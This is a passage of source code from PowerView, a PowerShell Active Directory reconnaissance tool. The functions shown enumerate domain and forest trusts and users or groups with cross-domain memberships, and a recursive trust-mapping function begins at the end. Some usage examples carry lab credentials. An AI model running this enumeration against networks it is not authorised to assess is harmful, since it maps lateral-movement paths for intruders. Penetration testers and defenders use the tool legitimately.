$Credential } 19655 } 19656 19657 PROCESS { 19658 if ($PsCmdlet.ParameterSetName -ne 'API') { 19659 $NetSearcherArguments = @{} 19660 if ($Domain -and $Domain.Trim() -ne '') { 19661 $SourceDomain = $Domain 19662 } 19663 else { 19664 if ($PSBoundParameters['Credential']) { 19665 $SourceDomain = (Get-Domain -Credential $Credential).Name 19666 } 19667 else { 19668 $SourceDomain = (Get-Domain).Name 19669 } 19670 } 19671 } 19672 elseif ($PsCmdlet.ParameterSetName -ne 'NET') { 19673 if ($Domain -and $Domain.Trim() -ne '') { 19674 $SourceDomain = $Domain 19675 } 19676 else { 19677 $SourceDomain = $Env:USERDNSDOMAIN 19678 } 19679 } 19680 19681 if ($PsCmdlet.ParameterSetName -eq 'LDAP') { 19682 # if we're searching for domain trusts through LDAP/ADSI 19683 $TrustSearcher = Get-DomainSearcher @LdapSearcherArguments 19684 $SourceSID = Get-DomainSID @NetSearcherArguments 19685 19686 if ($TrustSearcher) { 19687 19688 $TrustSearcher.Filter = '(objectClass=trustedDomain)' 19689 19690 if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() } 19691 else { $Results = $TrustSearcher.FindAll() } 19692 $Results | Where-Object {$_} | ForEach-Object { 19693 $Props = $_.Properties 19694 $DomainTrust = New-Object PSObject 19695 19696 $TrustAttrib = @() 19697 $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } 19698 19699 $Direction = Switch ($Props.trustdirection) { 19700 0 { 'Disabled' } 19701 1 { 'Inbound' } 19702 2 { 'Outbound' } 19703 3 { 'Bidirectional' } 19704 } 19705 19706 $TrustType = Switch ($Props.trusttype) { 19707 1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' } 19708 2 { 'WINDOWS_ACTIVE_DIRECTORY' } 19709 3 { 'MIT' } 19710 } 19711 19712 $Distinguishedname = $Props.distinguishedname[0] 19713 $SourceNameIndex = $Distinguishedname.IndexOf('DC=') 19714 if ($SourceNameIndex) { 19715 $SourceDomain = $($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=','' -replace ',','.' 19716 } 19717 else { 19718 $SourceDomain = "" 19719 } 19720 19721 $TargetNameIndex = $Distinguishedname.IndexOf(',CN=System') 19722 if ($SourceNameIndex) { 19723 $TargetDomain = $Distinguishedname.SubString(3, $TargetNameIndex-3) 19724 } 19725 else { 19726 $TargetDomain = "" 19727 } 19728 19729 $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) 19730 $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value 19731 19732 $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain 19733 $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] 19734 # $DomainTrust | Add-Member Noteproperty 'TargetGuid' "{$ObjectGuid}" 19735 $DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType 19736 $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $($TrustAttrib -join ',') 19737 $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" 19738 $DomainTrust | Add-Member Noteproperty 'WhenCreated' $Props.whencreated[0] 19739 $DomainTrust | Add-Member Noteproperty 'WhenChanged' $Props.whenchanged[0] 19740 $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP') 19741 $DomainTrust 19742 } 19743 if ($Results) { 19744 try { $Results.dispose() } 19745 catch { 19746 Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_" 19747 } 19748 } 19749 $TrustSearcher.dispose() 19750 } 19751 } 19752 elseif ($PsCmdlet.ParameterSetName -eq 'API') { 19753 # if we're searching for domain trusts through Win32 API functions 19754 if ($PSBoundParameters['Server']) { 19755 $TargetDC = $Server 19756 } 19757 elseif ($Domain -and $Domain.Trim() -ne '') { 19758 $TargetDC = $Domain 19759 } 19760 else { 19761 # see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior 19762 $TargetDC = $Null 19763 } 19764 19765 # arguments for DsEnumerateDomainTrusts 19766 $PtrInfo = [IntPtr]::Zero 19767 19768 # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND 19769 $Flags = 63 19770 $DomainCount = 0 19771 19772 # get the trust information from the target server 19773 $Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount) 19774 19775 # Locate the offset of the initial intPtr 19776 $Offset = $PtrInfo.ToInt64() 19777 19778 # 0 = success 19779 if (($Result -eq 0) -and ($Offset -gt 0)) { 19780 19781 # Work out how much to increment the pointer by finding out the size of the structure 19782 $Increment = $DS_DOMAIN_TRUSTS::GetSize() 19783 19784 # parse all the result structures 19785 for ($i = 0; ($i -lt $DomainCount); $i++) { 19786 # create a new int ptr at the given offset and cast the pointer as our result structure 19787 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset 19788 $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS 19789 19790 $Offset = $NewIntPtr.ToInt64() 19791 $Offset += $Increment 19792 19793 $SidString = '' 19794 $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 19795 19796 if ($Result -eq 0) { 19797 Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 19798 } 19799 else { 19800 $DomainTrust = New-Object PSObject 19801 $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain 19802 $DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName 19803 $DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName 19804 $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags 19805 $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex 19806 $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType 19807 $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes 19808 $DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString 19809 $DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid 19810 $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API') 19811 $DomainTrust 19812 } 19813 } 19814 # free up the result buffer 19815 $Null = $Netapi32::NetApiBufferFree($PtrInfo) 19816 } 19817 else { 19818 Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)" 19819 } 19820 } 19821 else { 19822 # if we're searching for domain trusts through .NET methods 19823 $FoundDomain = Get-Domain @NetSearcherArguments 19824 if ($FoundDomain) { 19825 $FoundDomain.GetAllTrustRelationships() | ForEach-Object { 19826 $_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET') 19827 $_ 19828 } 19829 } 19830 } 19831 } 19832 } 19833 19834 19835 function Get-ForestTrust { 19836 <# 19837 .SYNOPSIS 19838 19839 Return all forest trusts for the current forest or a specified forest. 19840 19841 Author: Will Schroeder (@harmj0y) 19842 License: BSD 3-Clause 19843 Required Dependencies: Get-Forest 19844 19845 .DESCRIPTION 19846 19847 This function will enumerate domain trust relationships for the current (or a remote) 19848 forest using number of method using the .NET method GetAllTrustRelationships() on a 19849 System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest. 19850 19851 .PARAMETER Forest 19852 19853 Specifies the forest to query for trusts, defaults to the current forest. 19854 19855 .PARAMETER Credential 19856 19857 A [Management.Automation.PSCredential] object of alternate credentials 19858 for connection to the target domain. 19859 19860 .EXAMPLE 19861 19862 Get-ForestTrust 19863 19864 Return current forest trusts. 19865 19866 .EXAMPLE 19867 19868 Get-ForestTrust -Forest "external.local" 19869 19870 Return trusts for the "external.local" forest. 19871 19872 .EXAMPLE 19873 19874 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 19875 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 19876 Get-ForestTrust -Forest "external.local" -Credential $Cred 19877 19878 Return trusts for the "external.local" forest using the specified alternate credenitals. 19879 19880 .OUTPUTS 19881 19882 PowerView.DomainTrust.NET 19883 19884 A TrustRelationshipInformationCollection returned when using .NET methods (default). 19885 #> 19886 19887 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 19888 [OutputType('PowerView.ForestTrust.NET')] 19889 [CmdletBinding()] 19890 Param( 19891 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 19892 [Alias('Name')] 19893 [ValidateNotNullOrEmpty()] 19894 [String] 19895 $Forest, 19896 19897 [Management.Automation.PSCredential] 19898 [Management.Automation.CredentialAttribute()] 19899 $Credential = [Management.Automation.PSCredential]::Empty 19900 ) 19901 19902 PROCESS { 19903 $NetForestArguments = @{} 19904 if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest } 19905 if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential } 19906 19907 $FoundForest = Get-Forest @NetForestArguments 19908 19909 if ($FoundForest) { 19910 $FoundForest.GetAllTrustRelationships() | ForEach-Object { 19911 $_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET') 19912 $_ 19913 } 19914 } 19915 } 19916 } 19917 19918 19919 function Get-DomainForeignUser { 19920 <# 19921 .SYNOPSIS 19922 19923 Enumerates users who are in groups outside of the user's domain. 19924 This is a domain's "outgoing" access. 19925 19926 Author: Will Schroeder (@harmj0y) 19927 License: BSD 3-Clause 19928 Required Dependencies: Get-Domain, Get-DomainUser 19929 19930 .DESCRIPTION 19931 19932 Uses Get-DomainUser to enumerate all users for the current (or target) domain, 19933 then calculates the given user's domain name based on the user's distinguishedName. 19934 This domain name is compared to the queried domain, and the user object is 19935 output if they differ. 19936 19937 .PARAMETER Domain 19938 19939 Specifies the domain to use for the query, defaults to the current domain. 19940 19941 .PARAMETER LDAPFilter 19942 19943 Specifies an LDAP query string that is used to filter Active Directory objects. 19944 19945 .PARAMETER Properties 19946 19947 Specifies the properties of the output object to retrieve from the server. 19948 19949 .PARAMETER SearchBase 19950 19951 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 19952 Useful for OU queries. 19953 19954 .PARAMETER Server 19955 19956 Specifies an Active Directory server (domain controller) to bind to. 19957 19958 .PARAMETER SearchScope 19959 19960 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 19961 19962 .PARAMETER ResultPageSize 19963 19964 Specifies the PageSize to set for the LDAP searcher object. 19965 19966 .PARAMETER ServerTimeLimit 19967 19968 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 19969 19970 .PARAMETER SecurityMasks 19971 19972 Specifies an option for examining security information of a directory object. 19973 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. 19974 19975 .PARAMETER Tombstone 19976 19977 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 19978 19979 .PARAMETER Credential 19980 19981 A [Management.Automation.PSCredential] object of alternate credentials 19982 for connection to the target domain. 19983 19984 .EXAMPLE 19985 19986 Get-DomainForeignUser 19987 19988 Return all users in the current domain who are in groups not in the 19989 current domain. 19990 19991 .EXAMPLE 19992 19993 Get-DomainForeignUser -Domain dev.testlab.local 19994 19995 Return all users in the dev.testlab.local domain who are in groups not in the 19996 dev.testlab.local domain. 19997 19998 .EXAMPLE 19999 20000 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 20001 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 20002 Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred 20003 20004 Return all users in the dev.testlab.local domain who are in groups not in the 20005 dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and 20006 using the specified alternate credentials. 20007 20008 .OUTPUTS 20009 20010 PowerView.ForeignUser 20011 20012 Custom PSObject with translated user property fields. 20013 #> 20014 20015 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 20016 [OutputType('PowerView.ForeignUser')] 20017 [CmdletBinding()] 20018 Param( 20019 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 20020 [Alias('Name')] 20021 [ValidateNotNullOrEmpty()] 20022 [String] 20023 $Domain, 20024 20025 [ValidateNotNullOrEmpty()] 20026 [Alias('Filter')] 20027 [String] 20028 $LDAPFilter, 20029 20030 [ValidateNotNullOrEmpty()] 20031 [String[]] 20032 $Properties, 20033 20034 [ValidateNotNullOrEmpty()] 20035 [Alias('ADSPath')] 20036 [String] 20037 $SearchBase, 20038 20039 [ValidateNotNullOrEmpty()] 20040 [Alias('DomainController')] 20041 [String] 20042 $Server, 20043 20044 [ValidateSet('Base', 'OneLevel', 'Subtree')] 20045 [String] 20046 $SearchScope = 'Subtree', 20047 20048 [ValidateRange(1, 10000)] 20049 [Int] 20050 $ResultPageSize = 200, 20051 20052 [ValidateRange(1, 10000)] 20053 [Int] 20054 $ServerTimeLimit, 20055 20056 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] 20057 [String] 20058 $SecurityMasks, 20059 20060 [Switch] 20061 $Tombstone, 20062 20063 [Management.Automation.PSCredential] 20064 [Management.Automation.CredentialAttribute()] 20065 $Credential = [Management.Automation.PSCredential]::Empty 20066 ) 20067 20068 BEGIN { 20069 $SearcherArguments = @{} 20070 $SearcherArguments['LDAPFilter'] = '(memberof=*)' 20071 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 20072 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } 20073 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 20074 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 20075 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 20076 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 20077 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 20078 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } 20079 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 20080 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 20081 if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } 20082 } 20083 20084 PROCESS { 20085 Get-DomainUser @SearcherArguments | ForEach-Object { 20086 ForEach ($Membership in $_.memberof) { 20087 $Index = $Membership.IndexOf('DC=') 20088 if ($Index) { 20089 20090 $GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.' 20091 $UserDistinguishedName = $_.distinguishedname 20092 $UserIndex = $UserDistinguishedName.IndexOf('DC=') 20093 $UserDomain = $($_.distinguishedname.SubString($UserIndex)) -replace 'DC=','' -replace ',','.' 20094 20095 if ($GroupDomain -ne $UserDomain) { 20096 # if the group domain doesn't match the user domain, display it 20097 $GroupName = $Membership.Split(',')[0].split('=')[1] 20098 $ForeignUser = New-Object PSObject 20099 $ForeignUser | Add-Member Noteproperty 'UserDomain' $UserDomain 20100 $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname 20101 $ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname 20102 $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain 20103 $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName 20104 $ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership 20105 $ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser') 20106 $ForeignUser 20107 } 20108 } 20109 } 20110 } 20111 } 20112 } 20113 20114 20115 function Get-DomainForeignGroupMember { 20116 <# 20117 .SYNOPSIS 20118 20119 Enumerates groups with users outside of the group's domain and returns 20120 each foreign member. This is a domain's "incoming" access. 20121 20122 Author: Will Schroeder (@harmj0y) 20123 License: BSD 3-Clause 20124 Required Dependencies: Get-Domain, Get-DomainGroup 20125 20126 .DESCRIPTION 20127 20128 Uses Get-DomainGroup to enumerate all groups for the current (or target) domain, 20129 then enumerates the members of each group, and compares the member's domain 20130 name to the parent group's domain name, outputting the member if the domains differ. 20131 20132 .PARAMETER Domain 20133 20134 Specifies the domain to use for the query, defaults to the current domain. 20135 20136 .PARAMETER LDAPFilter 20137 20138 Specifies an LDAP query string that is used to filter Active Directory objects. 20139 20140 .PARAMETER Properties 20141 20142 Specifies the properties of the output object to retrieve from the server. 20143 20144 .PARAMETER SearchBase 20145 20146 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 20147 Useful for OU queries. 20148 20149 .PARAMETER Server 20150 20151 Specifies an Active Directory server (domain controller) to bind to. 20152 20153 .PARAMETER SearchScope 20154 20155 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 20156 20157 .PARAMETER ResultPageSize 20158 20159 Specifies the PageSize to set for the LDAP searcher object. 20160 20161 .PARAMETER ServerTimeLimit 20162 20163 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 20164 20165 .PARAMETER SecurityMasks 20166 20167 Specifies an option for examining security information of a directory object. 20168 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. 20169 20170 .PARAMETER Tombstone 20171 20172 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 20173 20174 .PARAMETER Credential 20175 20176 A [Management.Automation.PSCredential] object of alternate credentials 20177 for connection to the target domain. 20178 20179 .EXAMPLE 20180 20181 Get-DomainForeignGroupMember 20182 20183 Return all group members in the current domain where the group and member differ. 20184 20185 .EXAMPLE 20186 20187 Get-DomainForeignGroupMember -Domain dev.testlab.local 20188 20189 Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local. 20190 20191 .EXAMPLE 20192 20193 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 20194 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 20195 Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred 20196 20197 Return all group members in the dev.testlab.local domain where the member is 20198 not in dev.testlab.local. binding to the secondary.dev.testlab.local for 20199 queries, and using the specified alternate credentials. 20200 20201 .OUTPUTS 20202 20203 PowerView.ForeignGroupMember 20204 20205 Custom PSObject with translated group member property fields. 20206 #> 20207 20208 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 20209 [OutputType('PowerView.ForeignGroupMember')] 20210 [CmdletBinding()] 20211 Param( 20212 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 20213 [Alias('Name')] 20214 [ValidateNotNullOrEmpty()] 20215 [String] 20216 $Domain, 20217 20218 [ValidateNotNullOrEmpty()] 20219 [Alias('Filter')] 20220 [String] 20221 $LDAPFilter, 20222 20223 [ValidateNotNullOrEmpty()] 20224 [String[]] 20225 $Properties, 20226 20227 [ValidateNotNullOrEmpty()] 20228 [Alias('ADSPath')] 20229 [String] 20230 $SearchBase, 20231 20232 [ValidateNotNullOrEmpty()] 20233 [Alias('DomainController')] 20234 [String] 20235 $Server, 20236 20237 [ValidateSet('Base', 'OneLevel', 'Subtree')] 20238 [String] 20239 $SearchScope = 'Subtree', 20240 20241 [ValidateRange(1, 10000)] 20242 [Int] 20243 $ResultPageSize = 200, 20244 20245 [ValidateRange(1, 10000)] 20246 [Int] 20247 $ServerTimeLimit, 20248 20249 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] 20250 [String] 20251 $SecurityMasks, 20252 20253 [Switch] 20254 $Tombstone, 20255 20256 [Management.Automation.PSCredential] 20257 [Management.Automation.CredentialAttribute()] 20258 $Credential = [Management.Automation.PSCredential]::Empty 20259 ) 20260 20261 BEGIN { 20262 $SearcherArguments = @{} 20263 $SearcherArguments['LDAPFilter'] = '(member=*)' 20264 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 20265 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } 20266 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 20267 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 20268 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 20269 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 20270 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 20271 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } 20272 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 20273 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 20274 if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } 20275 } 20276 20277 PROCESS { 20278 # standard group names to ignore 20279 $ExcludeGroups = @('Users', 'Domain Users', 'Guests') 20280 20281 Get-DomainGroup @SearcherArguments | Where-Object { $ExcludeGroups -notcontains $_.samaccountname } | ForEach-Object { 20282 $GroupName = $_.samAccountName 20283 $GroupDistinguishedName = $_.distinguishedname 20284 $GroupDomain = $GroupDistinguishedName.SubString($GroupDistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 20285 20286 $_.member | ForEach-Object { 20287 # filter for foreign SIDs in the cn field for users in another domain, 20288 # or if the DN doesn't end with the proper DN for the queried domain 20289 $MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 20290 if (($_ -match 'CN=S-1-5-21.*-.*') -or ($GroupDomain -ne $MemberDomain)) { 20291 $MemberDistinguishedName = $_ 20292 $MemberName = $_.Split(',')[0].split('=')[1] 20293 20294 $ForeignGroupMember = New-Object PSObject 20295 $ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $GroupDomain 20296 $ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName 20297 $ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName 20298 $ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain 20299 $ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName 20300 $ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName 20301 $ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember') 20302 $ForeignGroupMember 20303 } 20304 } 20305 } 20306 } 20307 } 20308 20309 20310 function Get-DomainTrustMapping { 20311 <# 20312 .SYNOPSIS 20313 20314 This function enumerates all trusts for the current domain and then enumerates 20315 all trusts for each domain it finds. 20316 20317 Author: Will Schroeder (@harmj0y) 20318 License: BSD 3-Clause 20319 Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust 20320 20321 .DESCRIPTION 20322 20323 This function will enumerate domain trust relationships for the current domain using 20324 a number of methods, and then enumerates all trusts for each found domain, recursively 20325 mapping all reachable trust relationships. By default, and LDAP search using the filter 20326 '(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified 20327 LDAP is used as well. If the -NET flag is specified, the .NET method 20328 GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain 20329 object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is 20330 used to enumerate instead. If any 20331 20332 .PARAMETER API 20333 20334 Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the 20335 built-in LDAP method. 20336 20337 .PARAMETER NET 20338 20339 Switch. Use .NET queries to enumerate trusts instead of the default LDAP method. 20340 20341 .PARAMETER LDAPFilter 20342 20343 Specifies an LDAP query string that is used to filter Active Directory objects. 20344 20345 .PARAMETER Properties 20346 20347 Specifies the properties of the output object to retrieve from the server. 20348 20349 .PARAMETER SearchBase 20350 20351 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 20352 Useful for OU queries. 20353 20354 .PARAMETER Server 20355 20356 Specifies an Active Directory server (domain controller) to bind to. 20357 20358 .PARAMETER SearchScope 20359 20360 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 20361 20362 .PARAMETER ResultPageSize 20363 20364 Specifies the PageSize to set for the LDAP searcher object. 20365 20366 .PARAMETER ServerTimeLimit 20367 20368 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 20369 20370 .PARAMETER Tombstone 20371 20372 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 20373 20374 .PARAMETER Credential 20375 20376 A [Management.Automation.PSCredential] object of alternate credentials 20377 for connection to the target domain. 20378 20379 .EXAMPLE 20380 20381 Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv 20382 20383 Map all reachable domain trusts using .NET methods and output everything to a .csv file. 20384 20385 .EXAMPLE 20386 20387 Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv 20388 20389 Map all reachable domain trusts using Win32 API calls and output everything to a .csv file. 20390 20391 .EXAMPLE 20392 20393 Get-DomainTrustMapping -NET | Export-CSV -NoTypeInformation trusts.csv 20394 20395 Map all reachable domain trusts using .NET methods and output everything to a .csv file. 20396 20397 .EXAMPLE 20398 20399 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 20400 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 20401 Get-DomainTrustMapping -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv 20402 20403 Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries 20404 using the specified alternate credentials, and output everything to a .csv file. 20405 20406 .OUTPUTS 20407 20408 PowerView.DomainTrust.LDAP 20409 20410 Custom PSObject with translated domain LDAP trust result fields (default). 20411 20412 PowerView.DomainTrust.NET 20413 20414 A TrustRelationshipInformationCollection returned when using .NET methods. 20415 20416 PowerView.DomainTrust.API 20417 20418 Custom PSObject with translated domain API trust result fields. 20419 #> 20420 20421 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 20422 [OutputType('PowerView.DomainTrust.NET')] 20423 [OutputType('PowerView.DomainTrust.LDAP')] 20424 [OutputType('PowerView.DomainTrust.API')] 20425 [CmdletBinding(DefaultParameterSetName = 'LDAP')] 20426 Param( 20427 [Parameter(ParameterSetName = 'API')] 20428 [Switch] 20429 $API, 20430 20431 [Parameter(ParameterSetName = 'NET')] 20432 [Switch] 20433 $NET, 20434 20435 [Parameter(ParameterSetName = 'LDAP')] 20436 [ValidateNotNullOrEmpty()] 20437 [Alias('Filter')] 20438 [String] 20439 $LDAPFilter, 20440 20441 [Parameter(ParameterSetName = 'LDAP')] 20442 [ValidateNotNullOrEmpty()] 20443 [String[]] 20444 $Properties, 20445 20446 [Parameter(ParameterSetName = 'LDAP')] 20447 [ValidateNotNullOrEmpty()] 20448 [Alias('ADSPath')] 20449 [String] 20450 $SearchBase, 20451 20452 [Parameter(ParameterSetName = 'LDAP')] 20453 [Parameter(ParameterSetName = 'API')] 20454 [ValidateNotNullOrEmpty()] 20455 [Alias('DomainController')] 20456 [String] 20457 $Server, 20458 20459 [Parameter(ParameterSetName = 'LDAP')] 20460 [ValidateSet('Base', 'OneLevel', 'Subtree')] 20461 [String] 20462 $SearchScope = 'Subtree', 20463 20464 [Parameter(ParameterSetName = 'LDAP')] 20465 [ValidateRange(1, 10000)] 20466 [Int] 20467 $ResultPageSize = 200, 20468 20469 [Parameter(ParameterSetName = 'LDAP')] 20470 [ValidateRange(1, 10000)] 20471 [Int] 20472 $ServerTimeLimit, 20473 20474 [Parameter(ParameterSetName = 'LDAP')] 20475 [Switch] 20476 $Tombstone, 20477 20478 [Parameter(ParameterSetName = 'LDAP')] 20479 [Management.Automation.PSCredential] 20480 [Management.Automation.CredentialAttribute()] 20481 $Credential = [Management.Automation.PSCredential]::Empty 20482 ) 20483 20484 # keep track of domains seen so we don't hit infinite recursion 20485 $SeenDomains = @{} 20486 20487 # our domain status tracker 20488 $Domains = New-Object System.Collections.Stack 20489 20490 $DomainTrustArguments = @{} 20491 if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API } 20492 if ($PSBoundParameters['NET']) { $DomainTrustArguments['NET'] = $NET } 20493 if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter } 20494 if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties } 20495 if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase } 20496 if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server } 20497 if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScope } 20498 if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultPageSize } 20499 if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit } 20500 if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone } 20501 if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential } 20502 20503 # get the current domain and push it onto the stack 20504 if ($PSBoundParameters['Credential']) { 20505 $CurrentDomain = 